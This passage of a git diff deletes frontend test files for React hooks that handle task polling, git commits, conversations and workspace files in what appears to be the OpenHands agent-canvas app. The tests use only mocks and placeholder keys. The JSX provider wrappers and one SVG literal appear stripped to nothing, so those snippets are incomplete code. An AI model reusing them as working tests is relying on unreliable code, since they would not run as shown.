expect(navigate).toHaveBeenCalledWith("/conversations/conversation-1", { - replace: true, - }); - }); - - expect(getConversationState("conversation-1").draftMessage).toBe( - "Create this automation draft", - ); - expect(consumePendingTaskDraft("123")).toBeNull(); - expect(AgentServerConversationService.getStartTask).toHaveBeenCalledWith( - "123", - ); - }); - - it("stores cloud task plugin coordinates on the real conversation", async () => { - vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue({ - ...readyTask, - request: { - selected_repository: "OpenHands/agent-canvas", - selected_branch: "main", - git_provider: "github", - plugins: [ - { - source: "github:OpenHands/extensions", - ref: "v1", - repo_path: "plugins/weather", - parameters: { apiKey: "secret" }, - }, - ], - }, - }); - - renderHook(() => useTaskPollingController(), { wrapper: createWrapper() }); - - await waitFor(() => { - expect(navigate).toHaveBeenCalledWith("/conversations/conversation-1", { - replace: true, - }); - }); - expect(getStoredConversationMetadata("conversation-1")).toEqual({ - selected_repository: "OpenHands/agent-canvas", - selected_branch: "main", - git_provider: "github", - plugins: [ - { - source: "github:OpenHands/extensions", - ref: "v1", - repo_path: "plugins/weather", - }, - ], - }); - }); - - it("reassigns optimistic pending messages on the real conversation route", async () => { - vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue( - readyTask, - ); - useOptimisticUserMessageStore.getState().enqueuePendingMessage({ - conversationId: "task-123", - text: "hello from home", - }); - - const createWrapperForConversation = (conversationId: string) => { - queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - - return function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - - {children} - - - ); - }; - }; - - renderHook(() => useTaskPollingController(), { - wrapper: createWrapperForConversation("task-123"), - }); - - await waitFor(() => { - expect(navigate).toHaveBeenCalledWith("/conversations/conversation-1", { - replace: true, - }); - }); - - renderHook(() => useTaskPollingController(), { - wrapper: createWrapperForConversation("conversation-1"), - }); - - await waitFor(() => { - const pending = useOptimisticUserMessageStore.getState().pendingMessages; - expect(pending).toHaveLength(1); - expect(pending[0].conversationId).toBe("conversation-1"); - expect(pending[0].text).toBe("hello from home"); - }); - }); - - it("handles a ready task once when multiple components consume polling state", async () => { - vi.mocked(AgentServerConversationService.getStartTask).mockResolvedValue( - readyTask, - ); - - const { result } = renderHook( - () => { - const controller = useTaskPollingController(); - useTaskPolling(); - useTaskPolling(); - return controller; - }, - { wrapper: createWrapper() }, - ); - - await waitFor(() => expect(result.current.taskStatus).toBe("READY")); - await waitFor(() => expect(navigate).toHaveBeenCalledTimes(1)); - - expect(trackCloudConversationReady).toHaveBeenCalledOnce(); - expect(trackCloudConversationReady).toHaveBeenCalledWith( - "123", - "conversation-1", - ); - }); -}); diff --git a/__tests__/hooks/query/use-unified-git-commits.test.tsx b/__tests__/hooks/query/use-unified-git-commits.test.tsx deleted file mode 100644 index 064133b8d..000000000 --- a/__tests__/hooks/query/use-unified-git-commits.test.tsx +++ /dev/null @@ -1,83 +0,0 @@ -import React from "react"; -import { describe, it, expect, vi, beforeEach } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { useUnifiedGitCommits } from "#/hooks/query/use-unified-git-commits"; -import AgentServerGitService from "#/api/git-service/agent-server-git-service.api"; - -const conversation = { - conversation_url: "http://localhost:18000/api/conversations/c1", - session_api_key: "test-key", - workspace: { working_dir: "/workspace/project" }, -}; - -vi.mock("#/hooks/use-conversation-id", () => ({ - useConversationId: () => ({ conversationId: "c1" }), -})); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => ({ data: conversation }), -})); -vi.mock("#/hooks/use-runtime-is-ready", () => ({ - useRuntimeIsReady: () => true, -})); - -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return ({ children }: { children: React.ReactNode }) => ( - {children} - ); -} - -describe("useUnifiedGitCommits", () => { - const getGitCommitsSpy = vi.spyOn(AgentServerGitService, "getGitCommits"); - - beforeEach(() => { - getGitCommitsSpy.mockReset(); - }); - - it("exposes the service's commit page for the active conversation", async () => { - // Arrange - const commit = { - sha: "a".repeat(40), - shortSha: "aaaaaaa", - subject: "add logging", - author: "Agent", - timestamp: "2026-07-10T12:00:00+07:00", - }; - getGitCommitsSpy.mockResolvedValue({ commits: [commit], hasMore: true }); - - // Act - const { result } = renderHook(() => useUnifiedGitCommits(), { - wrapper: makeWrapper(), - }); - - // Assert - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect(getGitCommitsSpy).toHaveBeenCalledWith( - conversation.conversation_url, - conversation.session_api_key, - "/workspace/project", - 50, - ); - expect(result.current.commits).toEqual([commit]); - expect(result.current.hasMore).toBe(true); - expect(result.current.isUnsupported).toBe(false); - }); - - it("marks the feature unsupported when the service resolves null (old server)", async () => { - // Arrange - getGitCommitsSpy.mockResolvedValue(null); - - // Act - const { result } = renderHook(() => useUnifiedGitCommits(), { - wrapper: makeWrapper(), - }); - - // Assert - await waitFor(() => expect(result.current.isUnsupported).toBe(true)); - expect(result.current.commits).toEqual([]); - }); -}); diff --git a/__tests__/hooks/query/use-user-conversation.test.tsx b/__tests__/hooks/query/use-user-conversation.test.tsx deleted file mode 100644 index 9e8399692..000000000 --- a/__tests__/hooks/query/use-user-conversation.test.tsx +++ /dev/null @@ -1,144 +0,0 @@ -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { useUserConversation } from "#/hooks/query/use-user-conversation"; -import type { Backend } from "#/api/backend-registry/types"; -import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types"; - -// Mock the underlying service the hook depends on (not the hook itself). -vi.mock( - "#/api/conversation-service/agent-server-conversation-service.api", - () => ({ - default: { batchGetAppConversations: vi.fn() }, - }), -); - -const localBackend: Backend = { - id: "local-1", - name: "Local 1", - host: "http://localhost:8000", - apiKey: "session-key", - kind: "local", -}; - -const cloudBackend: Backend = { - id: "cloud-1", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-key", - kind: "cloud", -}; - -const CLOUD_CONVERSATION_ID = "conv-cloud"; - -function makeConversation(id: string): AppConversation { - return { - id, - created_by_user_id: null, - selected_repository: null, - selected_branch: null, - git_provider: null, - title: "Test", - trigger: null, - pr_number: [], - llm_model: null, - metrics: null, - created_at: "2024-01-01T00:00:00Z", - updated_at: "2024-01-01T00:00:00Z", - execution_status: null, - sandbox_status: null, - conversation_url: "https://sandbox.example.com/api", - session_api_key: null, - sandbox_id: null, - sub_conversation_ids: [], - }; -} - -function makeWrapper() { - const queryClient = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); - }; -} - -beforeEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); - vi.mocked( - AgentServerConversationService.batchGetAppConversations, - ).mockReset(); - vi.mocked( - AgentServerConversationService.batchGetAppConversations, - ).mockResolvedValue([makeConversation(CLOUD_CONVERSATION_ID)]); - setRegisteredBackends([localBackend, cloudBackend]); -}); - -afterEach(() => { - window.localStorage.clear(); - __resetActiveStoreForTests(); -}); - -describe("useUserConversation — backend switch", () => { - it("does not load the conversation id against a different backend after switching", async () => { - // Arrange — the conversation is opened while the cloud backend is active. - setActiveSelection({ backendId: cloudBackend.id }); - const { result } = renderHook( - () => useUserConversation(CLOUD_CONVERSATION_ID), - { wrapper: makeWrapper() }, - ); - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect( - AgentServerConversationService.batchGetAppConversations, - ).toHaveBeenCalledTimes(1); - - // Act — switch to the local backend without leaving the conversation. - setActiveSelection({ backendId: localBackend.id }); - - // Assert — the cloud id is foreign to the local backend, so the query is - // disabled and never fetched against it (no second service call). - await waitFor(() => expect(result.current.data).toBeUndefined()); - expect( - AgentServerConversationService.batchGetAppConversations, - ).toHaveBeenCalledTimes(1); - }); - - it("still loads the conversation when only the org changes on the same backend", async () => { - // Arrange — opened under a cloud backend scoped to one org. - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-a" }); - const { result } = renderHook( - () => useUserConversation(CLOUD_CONVERSATION_ID), - { wrapper: makeWrapper() }, - ); - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - expect( - AgentServerConversationService.batchGetAppConversations, - ).toHaveBeenCalledTimes(1); - - // Act — switch org within the same backend (e.g. the cloud personal- - // workspace self-heal), which keeps the same agent-server schema. - setActiveSelection({ backendId: cloudBackend.id, orgId: "org-b" }); - - // Assert — same backend, so the conversation is fetched again for the - // new org rather than being disabled. - await waitFor(() => - expect( - AgentServerConversationService.batchGetAppConversations, - ).toHaveBeenCalledTimes(2), - ); - }); -}); diff --git a/__tests__/hooks/query/use-workspace-file-content.test.tsx b/__tests__/hooks/query/use-workspace-file-content.test.tsx deleted file mode 100644 index dcd0e1dd8..000000000 --- a/__tests__/hooks/query/use-workspace-file-content.test.tsx +++ /dev/null @@ -1,370 +0,0 @@ -import React from "react"; -import { act, renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import { useWorkspaceFileContent } from "#/hooks/query/use-workspace-file-content"; -import { useWorkspaceMutationCounter } from "#/stores/use-workspace-mutation-counter"; - -const useWorkspaceSessionMock = vi.fn(); -vi.mock("#/hooks/query/use-workspace-session", async (importOriginal) => { - const real = - await importOriginal< - typeof import("#/hooks/query/use-workspace-session") - >(); - return { - ...real, - // Keep the real joinWorkspaceUrl so we assert against URLs assembled - // by the hook the same way the production code assembles them. - useWorkspaceSession: () => useWorkspaceSessionMock(), - }; -}); - -const useActiveConversationMock = vi.fn(); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -const useRuntimeIsReadyMock = vi.fn(); -vi.mock("#/hooks/use-runtime-is-ready", () => ({ - useRuntimeIsReady: () => useRuntimeIsReadyMock(), -})); - -const getActiveBackendMock = vi.fn(); -vi.mock("#/api/backend-registry/active-store", () => ({ - getActiveBackend: () => getActiveBackendMock(), -})); - -const downloadFileMock = vi.fn(); -vi.mock("#/api/runtime-service/agent-server-runtime-service", () => ({ - default: { - downloadFile: (...args: unknown[]) => downloadFileMock(...args), - }, -})); - -const readCloudConversationFileMock = vi.fn(); -vi.mock("#/api/cloud/conversation-service.api", () => ({ - readCloudConversationFile: (...args: unknown[]) => - readCloudConversationFileMock(...args), -})); - -const fetchMock = vi.fn(); - -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - const Wrapper = function WorkspaceFileContentTestWrapper({ - children, - }: { - children: React.ReactNode; - }) { - return ( - {children} - ); - }; - return Wrapper; -} - -const BASE_URL = - "https://agent.example.com/api/conversations/conv-1/workspace/"; - -describe("useWorkspaceFileContent", () => { - beforeEach(() => { - vi.stubGlobal("fetch", fetchMock); - fetchMock.mockReset(); - useWorkspaceSessionMock.mockReset(); - useActiveConversationMock.mockReset(); - useRuntimeIsReadyMock.mockReset(); - getActiveBackendMock.mockReset(); - downloadFileMock.mockReset(); - readCloudConversationFileMock.mockReset(); - useRuntimeIsReadyMock.mockReturnValue(true); - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-1", - conversation_url: "https://agent.example.com/api/conversations/conv-1", - session_api_key: "session-key", - }, - }); - useWorkspaceSessionMock.mockReturnValue({ - data: { baseUrl: BASE_URL }, - isLoading: false, - isError: false, - error: null, - }); - getActiveBackendMock.mockReturnValue({ - backend: { id: "local-1", kind: "local", host: "http://localhost:8000" }, - orgId: null, - }); - useWorkspaceMutationCounter.setState({ count: 0 }); - }); - - afterEach(() => { - vi.unstubAllGlobals(); - }); - - function arrayBufferFromString(value: string): ArrayBuffer { - return new TextEncoder().encode(value).buffer as ArrayBuffer; - } - - it("returns a static URL on the workspace fileserver for text content", async () => { - fetchMock.mockResolvedValue({ - ok: true, - status: 200, - arrayBuffer: () => Promise.resolve(arrayBufferFromString("# Hello")), - }); - - const { result } = renderHook( - () => useWorkspaceFileContent("docs/readme.md"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(fetchMock).toHaveBeenCalledWith( - `${BASE_URL}docs/readme.md`, - expect.objectContaining({ credentials: "include" }), - ); - expect(result.current.data).toEqual({ - path: "docs/readme.md", - kind: "text", - text: "# Hello", - staticUrl: `${BASE_URL}docs/readme.md`, - mimeType: "text/markdown", - }); - }); - - it("does not fetch image bytes — image staticUrl is rendered directly", async () => { - const { result } = renderHook( - () => useWorkspaceFileContent("assets/logo.png"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(fetchMock).not.toHaveBeenCalled(); - expect(result.current.data).toEqual({ - path: "assets/logo.png", - kind: "image", - text: null, - staticUrl: `${BASE_URL}assets/logo.png`, - mimeType: "image/png", - }); - }); - - it("does not fetch PDF bytes — PDF staticUrl is rendered directly", async () => { - const { result } = renderHook(() => useWorkspaceFileContent("report.pdf"), { - wrapper: makeWrapper(), - }); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(fetchMock).not.toHaveBeenCalled(); - expect(result.current.data).toEqual({ - path: "report.pdf", - kind: "pdf", - text: null, - staticUrl: `${BASE_URL}report.pdf`, - mimeType: "application/pdf", - }); - }); - - it("flips text → binary when the fetched bytes contain a NUL", async () => { - const binary = new Uint8Array([0x01, 0x00, 0x02]).buffer; - fetchMock.mockResolvedValue({ - ok: true, - status: 200, - arrayBuffer: () => Promise.resolve(binary), - }); - - const { result } = renderHook( - () => useWorkspaceFileContent("data/blob.bin"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(result.current.data).toMatchObject({ - kind: "binary", - text: null, - mimeType: "application/octet-stream", - staticUrl: `${BASE_URL}data/blob.bin`, - }); - }); - - it("refetches text content after a workspace mutation tick", async () => { - fetchMock - .mockResolvedValueOnce({ - ok: true, - status: 200, - arrayBuffer: () => Promise.resolve(arrayBufferFromString("first")), - }) - .mockResolvedValueOnce({ - ok: true, - status: 200, - arrayBuffer: () => Promise.resolve(arrayBufferFromString("second")), - }); - - const { result } = renderHook( - () => useWorkspaceFileContent("docs/readme.md"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.data?.text).toBe("first")); - - act(() => { - useWorkspaceMutationCounter.getState().bump(); - }); - - await waitFor(() => expect(result.current.data?.text).toBe("second")); - expect(fetchMock).toHaveBeenCalledTimes(2); - }); - - it("does not start a file request before a path is selected", async () => { - renderHook(() => useWorkspaceFileContent(null), { wrapper: makeWrapper() }); - - await new Promise((resolve) => { - setTimeout(resolve, 10); - }); - - expect(fetchMock).not.toHaveBeenCalled(); - }); - - it("does not start a file request before the workspace session is minted", async () => { - useWorkspaceSessionMock.mockReturnValue({ - data: null, - isLoading: true, - isError: false, - error: null, - }); - - renderHook(() => useWorkspaceFileContent("docs/readme.md"), { - wrapper: makeWrapper(), - }); - - await new Promise((resolve) => { - setTimeout(resolve, 10); - }); - - expect(fetchMock).not.toHaveBeenCalled(); - }); - - it("surfaces a non-OK response as an error", async () => { - fetchMock.mockResolvedValue({ - ok: false, - status: 404, - arrayBuffer: () => Promise.resolve(new ArrayBuffer(0)), - }); - - const { result } = renderHook( - () => useWorkspaceFileContent("missing.txt"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.isError).toBe(true)); - - expect(result.current.error).toEqual( - expect.objectContaining({ - message: "Failed to read missing.txt: 404", - }), - ); - }); - - describe("cloud backend", () => { - beforeEach(() => { - getActiveBackendMock.mockReturnValue({ - backend: { - id: "cloud-1", - kind: "cloud", - host: "https://app.all-hands.dev", - }, - orgId: "org-1", - }); - // useWorkspaceSession self-disables on cloud — its data is null. - useWorkspaceSessionMock.mockReturnValue({ - data: null, - isLoading: false, - isError: false, - error: null, - }); - }); - - it("fetches text via the cloud file endpoint and exposes a data: URI staticUrl", async () => { - readCloudConversationFileMock.mockResolvedValue("# Hello"); - - const { result } = renderHook( - () => useWorkspaceFileContent("docs/readme.md"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - // Cloud uses the first-class cloud API endpoint, never the removed - // cloud-proxy / downloadFile path, and passes an ABSOLUTE path (the - // runtime's /api/file/download rejects relative paths). - expect(readCloudConversationFileMock).toHaveBeenCalledWith( - "conv-1", - "/workspace/project/docs/readme.md", - ); - expect(downloadFileMock).not.toHaveBeenCalled(); - expect(fetchMock).not.toHaveBeenCalled(); - expect(result.current.data).toEqual({ - path: "docs/readme.md", - kind: "text", - text: "# Hello", - staticUrl: `data:text/markdown;charset=utf-8;base64,${btoa("# Hello")}`, - mimeType: "text/markdown", - }); - }); - - it("anchors the file path to the conversation's working dir", async () => { - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-1", - conversation_url: - "https://agent.example.com/api/conversations/conv-1", - session_api_key: "session-key", - workspace: { working_dir: "/workspace/project/my-repo" }, - }, - }); - readCloudConversationFileMock.mockResolvedValue("hi"); - - const { result } = renderHook( - () => useWorkspaceFileContent("src/index.ts"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(readCloudConversationFileMock).toHaveBeenCalledWith( - "conv-1", - "/workspace/project/my-repo/src/index.ts", - ); - }); - - it("renders images via base64 data URI from the cloud file endpoint", async () => { - // The cloud endpoint returns text; use an SVG (text-based image) since - // binary bytes can't round-trip faithfully through the string API. - const svg = ""; - readCloudConversationFileMock.mockResolvedValue(svg); - - const { result } = renderHook( - () => useWorkspaceFileContent("assets/logo.svg"), - { wrapper: makeWrapper() }, - ); - - await waitFor(() => expect(result.current.isSuccess).toBe(true)); - - expect(downloadFileMock).not.toHaveBeenCalled(); - expect(fetchMock).not.toHaveBeenCalled(); - expect(result.current.data).toEqual({ - path: "assets/logo.svg", - kind: "image", - text: null, - staticUrl: `data:image/svg+xml;base64,${btoa(svg)}`, - mimeType: "image/svg+xml", - }); - }); - }); -}); diff --git a/__tests__/hooks/query/use-workspace-files.test.tsx b/__tests__/hooks/query/use-workspace-files.test.tsx deleted file mode 100644 index a25a37e7b..000000000 --- a/__tests__/hooks/query/use-workspace-files.test.tsx +++ /dev/null @@ -1,163 +0,0 @@ -import React from "react"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; - -import AgentServerRuntimeService from "#/api/runtime-service/agent-server-runtime-service"; -import { useWorkspaceFiles } from "#/hooks/query/use-workspace-files"; -import type { GitChange } from "#/api/open-hands.types"; - -const useActiveBackendMock = vi.fn(); -vi.mock("#/contexts/active-backend-context", () => ({ - useActiveBackend: () => useActiveBackendMock(), -})); - -const useActiveConversationMock = vi.fn(); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -const useRuntimeIsReadyMock = vi.fn(); -vi.mock("#/hooks/use-runtime-is-ready", () => ({ - useRuntimeIsReady: () => useRuntimeIsReadyMock(), -})); - -const useUnifiedGetGitChangesMock = vi.fn(); -vi.mock("#/hooks/query/use-unified-get-git-changes", () => ({ - useUnifiedGetGitChanges: () => useUnifiedGetGitChangesMock(), -})); - -const executeCommandSpy = vi.spyOn(AgentServerRuntimeService, "executeCommand"); - -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - return function WorkspaceFilesTestWrapper({ - children, - }: { - children: React.ReactNode; - }) { - return ( - {children} - ); - }; -} - -const conversation = { - id: "conv-1", - conversation_url: "https://runtime.example.com/api/conversations/conv-1", - session_api_key: "session-key", - workspace: { working_dir: "/workspace/project" }, -}; - -function gitChangesResult(data: GitChange[], isLoading = false) { - return { - data, - isLoading, - isFetching: false, - isSuccess: true, - isError: false, - error: null, - refetch: vi.fn(), - }; -} - -beforeEach(() => { - useActiveBackendMock.mockReset(); - useActiveConversationMock.mockReset(); - useRuntimeIsReadyMock.mockReset(); - useUnifiedGetGitChangesMock.mockReset(); - executeCommandSpy.mockReset(); - - useRuntimeIsReadyMock.mockReturnValue(true); - useActiveConversationMock.mockReturnValue({ data: conversation }); - useUnifiedGetGitChangesMock.mockReturnValue(gitChangesResult([])); -}); - -afterEach(() => { - vi.clearAllMocks(); -}); - -const makeBackend = (kind: "local" | "cloud") => ({ - backend: { - id: "backend-id", - name: kind === "local" ? "Local" : "Production", - host: - kind === "local" ? "http://127.0.0.1:8000" : "https://app.all-hands.dev", - apiKey: "test-key", - kind, - }, - orgId: null, -}); - -describe("useWorkspaceFiles — local backend", () => { - beforeEach(() => useActiveBackendMock.mockReturnValue(makeBackend("local"))); - - it("lists files via bash find and does not touch git changes", async () => { - executeCommandSpy.mockResolvedValue({ - exit_code: 0, - stdout: "./hello.txt\n./src/index.ts\n", - stderr: "", - }); - - const { result } = renderHook(() => useWorkspaceFiles(), { - wrapper: makeWrapper(), - }); - - await waitFor(() => - expect(result.current.data).toEqual(["hello.txt", "src/index.ts"]), - ); - expect(executeCommandSpy).toHaveBeenCalledTimes(1); - }); -}); - -describe("useWorkspaceFiles — cloud backend", () => { - beforeEach(() => useActiveBackendMock.mockReturnValue(makeBackend("cloud"))); - - it("derives the file list from git changes without running bash", async () => { - useUnifiedGetGitChangesMock.mockReturnValue( - gitChangesResult([ - { status: "A", path: "hello.txt" }, - { status: "M", path: "src/index.ts" }, - ]), - ); - - const { result } = renderHook(() => useWorkspaceFiles(), { - wrapper: makeWrapper(), - }); - - await waitFor(() => - expect(result.current.data).toEqual(["hello.txt", "src/index.ts"]), - ); - // Cloud must never drive the removed bash/cloud-proxy path. - expect(executeCommandSpy).not.toHaveBeenCalled(); - }); - - it("drops deleted files (they can't be opened) and de-dupes", async () => { - useUnifiedGetGitChangesMock.mockReturnValue( - gitChangesResult([ - { status: "A", path: "hello.txt" }, - { status: "D", path: "gone.txt" }, - { status: "M", path: "hello.txt" }, - ]), - ); - - const { result } = renderHook(() => useWorkspaceFiles(), { - wrapper: makeWrapper(), - }); - - await waitFor(() => expect(result.current.data).toEqual(["hello.txt"])); - }); - - it("surfaces the git-changes loading state", async () => { - useUnifiedGetGitChangesMock.mockReturnValue(gitChangesResult([], true)); - - const { result } = renderHook(() => useWorkspaceFiles(), { - wrapper: makeWrapper(), - }); - - expect(result.current.isLoading).toBe(true); - expect(executeCommandSpy).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/query/use-workspace-session.test.tsx b/__tests__/hooks/query/use-workspace-session.test.tsx deleted file mode 100644 index 03615e5ac..000000000 --- a/__tests__/hooks/query/use-workspace-session.test.tsx +++ /dev/null @@ -1,246 +0,0 @@ -import React from "react"; -import { RemoteWorkspace } from "@openhands/typescript-client/workspace/remote-workspace"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; - -import { callCloudProxy } from "#/api/cloud/proxy"; -import { - joinWorkspaceUrl, - useWorkspaceSession, -} from "#/hooks/query/use-workspace-session"; - -// We mock the SDK workspace rather than the lower-level HttpClient: -// that's where our wiring contract lives (we hand the typescript-client a -// conversation id and trust it to do the right POST + return a base URL). -const startWorkspaceSessionMock = vi.fn(); - -vi.mock("@openhands/typescript-client/workspace/remote-workspace", () => ({ - RemoteWorkspace: vi.fn(function RemoteWorkspaceMock() { - return { - startWorkspaceSession: startWorkspaceSessionMock, - }; - }), -})); - -const callCloudProxyMock = vi.fn(); -vi.mock("#/api/cloud/proxy", () => ({ - callCloudProxy: (...args: unknown[]) => callCloudProxyMock(...args), -})); - -const getAgentServerClientOptionsMock = vi.fn(); -vi.mock("#/api/agent-server-client-options", () => ({ - getAgentServerClientOptions: (...args: unknown[]) => - getAgentServerClientOptionsMock(...args), -})); - -const getActiveBackendMock = vi.fn(); -vi.mock("#/api/backend-registry/active-store", () => ({ - getActiveBackend: () => getActiveBackendMock(), -})); - -const useActiveConversationMock = vi.fn(); -vi.mock("#/hooks/query/use-active-conversation", () => ({ - useActiveConversation: () => useActiveConversationMock(), -})); - -const useRuntimeIsReadyMock = vi.fn(); -vi.mock("#/hooks/use-runtime-is-ready", () => ({ - useRuntimeIsReady: () => useRuntimeIsReadyMock(), -})); - -function makeWrapper() { - const client = new QueryClient({ - defaultOptions: { queries: { retry: false } }, - }); - const Wrapper = function WorkspaceSessionTestWrapper({ - children, - }: { - children: React.ReactNode; - }) { - return ( - {children} - ); - }; - return Wrapper; -} - -// Yields back to the event loop a few microtasks deep so react-query has a -// chance to schedule (and, in the negative-path tests, to NOT schedule) the -// query. ESLint forbids returning the timer id from `new Promise(...)`, so -// we wrap setTimeout in a void callback. -function flushScheduler(ms = 10): Promise { - return new Promise((resolve) => { - setTimeout(resolve, ms); - }); -} - -beforeEach(() => { - startWorkspaceSessionMock.mockReset(); - callCloudProxyMock.mockReset(); - getAgentServerClientOptionsMock.mockReset(); - vi.mocked(RemoteWorkspace).mockClear(); - getActiveBackendMock.mockReset(); - useActiveConversationMock.mockReset(); - useRuntimeIsReadyMock.mockReset(); - useRuntimeIsReadyMock.mockReturnValue(true); -}); - -afterEach(() => { - vi.restoreAllMocks(); -}); - -describe("useWorkspaceSession", () => { - describe("local backend", () => { - it("calls startWorkspaceSession and exposes the returned baseUrl", async () => { - getActiveBackendMock.mockReturnValue({ - backend: { id: "local-1", kind: "local", host: "http://localhost:8000" }, - }); - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-1", - conversation_url: - "https://agent.example.com/api/conversations/conv-1", - session_api_key: "key-abc", - }, - }); - startWorkspaceSessionMock.mockResolvedValue( - "https://agent.example.com/api/conversations/conv-1/workspace/", - ); - getAgentServerClientOptionsMock.mockReturnValue({ - host: "http://agent.example.com", - apiKey: "key-abc", - workingDir: "workspace/project", - }); - - const { result } = renderHook(() => useWorkspaceSession(), { - wrapper: makeWrapper(), - }); - - await waitFor(() => { - expect(result.current.data?.baseUrl).toBe( - "https://agent.example.com/api/conversations/conv-1/workspace/", - ); - }); - - expect(getAgentServerClientOptionsMock).toHaveBeenCalledTimes(1); - expect(getAgentServerClientOptionsMock).toHaveBeenCalledWith({ - conversationUrl: - "https://agent.example.com/api/conversations/conv-1", - sessionApiKey: "key-abc", - }); - expect(RemoteWorkspace).toHaveBeenCalledTimes(1); - expect(RemoteWorkspace).toHaveBeenCalledWith({ - host: "http://agent.example.com", - apiKey: "key-abc", - workingDir: "workspace/project", - }); - expect(startWorkspaceSessionMock).toHaveBeenCalledTimes(1); - expect(startWorkspaceSessionMock).toHaveBeenCalledWith("conv-1"); - expect(callCloudProxyMock).not.toHaveBeenCalled(); - }); - }); - - describe("cloud backend", () => { - it("does not fire any request — workspace-session is local-only", async () => { - getActiveBackendMock.mockReturnValue({ - backend: { - id: "cloud-1", - kind: "cloud", - host: "https://app.all-hands.dev", - }, - }); - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-cloud", - conversation_url: - "https://abc123.prod-runtime.all-hands.dev/api/conversations/conv-cloud", - session_api_key: "cloud-key-xyz", - }, - }); - - const { result } = renderHook(() => useWorkspaceSession(), { - wrapper: makeWrapper(), - }); - - await flushScheduler(); - expect(callCloudProxyMock).not.toHaveBeenCalled(); - expect(startWorkspaceSessionMock).not.toHaveBeenCalled(); - expect(result.current.data).toBeNull(); - }); - }); - - it("does not call startWorkspaceSession until the runtime is ready", async () => { - getActiveBackendMock.mockReturnValue({ - backend: { id: "local-1", kind: "local", host: "http://localhost:8000" }, - }); - useActiveConversationMock.mockReturnValue({ - data: { - id: "conv-1", - conversation_url: - "https://agent.example.com/api/conversations/conv-1", - session_api_key: "key-abc", - }, - }); - useRuntimeIsReadyMock.mockReturnValue(false); - - const { result } = renderHook(() => useWorkspaceSession(), { - wrapper: makeWrapper(), - }); - - // Give react-query a tick to schedule (it shouldn't). - await flushScheduler(); - expect(startWorkspaceSessionMock).not.toHaveBeenCalled(); - expect(callCloudProxyMock).not.toHaveBeenCalled(); - expect(result.current.data).toBeNull(); - }); - - it("does not call startWorkspaceSession without a conversation id", async () => { - getActiveBackendMock.mockReturnValue({ - backend: { id: "local-1", kind: "local", host: "http://localhost:8000" }, - }); - useActiveConversationMock.mockReturnValue({ data: undefined }); - - renderHook(() => useWorkspaceSession(), { wrapper: makeWrapper() }); - - await flushScheduler(); - expect(startWorkspaceSessionMock).not.toHaveBeenCalled(); - expect(callCloudProxyMock).not.toHaveBeenCalled(); - }); -}); - -describe("joinWorkspaceUrl", () => { - const base = "https://agent.example.com/api/conversations/c1/workspace/"; - - it("returns the base URL when no relative path is supplied", () => { - expect(joinWorkspaceUrl(base)).toBe(base); - expect(joinWorkspaceUrl(base, "")).toBe(base); - expect(joinWorkspaceUrl(base, null)).toBe(base); - }); - - it("appends a single-segment path", () => { - expect(joinWorkspaceUrl(base, "index.html")).toBe(`${base}index.html`); - }); - - it("appends nested paths preserving separators", () => { - expect(joinWorkspaceUrl(base, "src/components/App.tsx")).toBe( - `${base}src/components/App.tsx`, - ); - }); - - it("strips leading slashes on the relative path", () => { - expect(joinWorkspaceUrl(base, "/index.html")).toBe(`${base}index.html`); - expect(joinWorkspaceUrl(base, "///deep/path.md")).toBe( - `${base}deep/path.md`, - ); - }); - - 